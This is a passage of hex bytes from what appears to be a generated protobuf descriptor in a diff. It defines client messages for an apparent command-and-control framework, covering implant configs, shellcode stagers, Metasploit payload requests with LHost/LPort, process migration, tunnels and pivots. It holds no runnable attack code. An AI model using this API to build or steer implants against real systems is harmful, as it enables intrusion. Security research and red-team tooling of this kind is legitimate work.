0x65, 0x52, 0x65, 0x71, 0x12, + 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e, + 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, + 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, 0x76, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, + 0x76, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, + 0x65, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, + 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, + 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x50, 0x72, + 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x43, 0x6f, + 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, + 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, + 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, + 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, + 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, + 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, + 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, + 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, + 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, + 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, + 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, + 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, + 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, + 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, + 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, + 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, + 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, + 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, + 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, + 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, + 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, + 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, + 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0xc6, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, + 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, + 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, + 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, + 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, + 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, + 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, + 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, + 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, + 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xed, + 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, + 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, + 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, + 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, + 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, + 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, + 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, + 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xa2, 0x01, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 